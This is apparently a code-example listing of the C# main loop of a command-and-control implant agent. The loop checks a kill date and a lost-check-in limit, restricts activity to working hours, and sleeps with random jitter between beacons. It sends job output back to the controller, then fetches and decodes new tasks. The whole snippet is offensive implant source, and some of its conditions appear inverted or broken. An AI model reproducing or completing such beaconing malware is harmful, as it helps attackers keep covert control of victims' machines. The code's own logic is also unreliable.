Exemple #1
0
        ////////////////////////////////////////////////////////////////////////////////
        // Main Loop
        ////////////////////////////////////////////////////////////////////////////////
        private void Run()
        {
            ////////////////////////////////////////////////////////////////////////////////
            if (sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0 || coms.MissedCheckins > sessionInfo.GetDefaultLostLimit())
            {
                jobTracking.CheckAgentJobs(ref packets, ref coms);

                if (packets.Length > 0)
                {
                    coms.SendMessage(packets);
                }

                string message = "";
                if (sessionInfo.GetKillDate().CompareTo(DateTime.Now) > 0)
                {
                    message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: past killdate";
                }
                else
                {
                    message = "[!] Agent " + sessionInfo.GetAgentID() + " exiting: Lost limit reached";
                }

                ushort result = 0;
                coms.SendMessage(coms.EncodePacket(2, message, result));
                Environment.Exit(1);
            }

            ////////////////////////////////////////////////////////////////////////////////

            if (null != sessionInfo.GetWorkingHoursStart() && null != sessionInfo.GetWorkingHoursEnd())
            {
                DateTime now = DateTime.Now;

                if ((sessionInfo.GetWorkingHoursEnd() - sessionInfo.GetWorkingHoursStart()).Hours < 0)
                {
                    sessionInfo.SetWorkingHoursStart(sessionInfo.GetWorkingHoursStart().AddDays(-1));
                }

                if (now.CompareTo(sessionInfo.GetWorkingHoursStart()) > 0 &&
                    now.CompareTo(sessionInfo.GetWorkingHoursEnd()) < 0)
                {
                    TimeSpan sleep = sessionInfo.GetWorkingHoursStart().Subtract(now);
                    if (sleep.CompareTo(0) < 0)
                    {
                        sleep = (sessionInfo.GetWorkingHoursStart().AddDays(1) - now);
                    }
                    Thread.Sleep((int)sleep.TotalMilliseconds);
                }
            }

            ////////////////////////////////////////////////////////////////////////////////
            if (0 != sessionInfo.GetDefaultDelay())
            {
                int max = (int)((sessionInfo.GetDefaultJitter() + 1) * sessionInfo.GetDefaultDelay());
                if (max > int.MaxValue)
                {
                    max = int.MaxValue - 1;
                }

                int min = (int)((sessionInfo.GetDefaultJitter() - 1) * sessionInfo.GetDefaultDelay());
                if (min < 0)
                {
                    min = 0;
                }

                int sleepTime;
                if (min == max)
                {
                    sleepTime = min;
                }
                else
                {
                    Random random = new Random();
                    sleepTime = random.Next(min, max);
                }

                Thread.Sleep(sleepTime * 1000);
            }

            ////////////////////////////////////////////////////////////////////////////////
            byte[] jobResults = jobTracking.GetAgentJobsOutput(ref coms);
            if (0 < jobResults.Length)
            {
                coms.SendMessage(jobResults);
            }

            ////////////////////////////////////////////////////////////////////////////////
            byte[] taskData = coms.GetTask();
            if (taskData.Length > 0)
            {
                coms.MissedCheckins = 0;
                if (String.Empty != Encoding.UTF8.GetString(taskData))
                {
                    coms.DecodeRoutingPacket(taskData, ref jobTracking);
                }
            }
            GC.Collect();
        }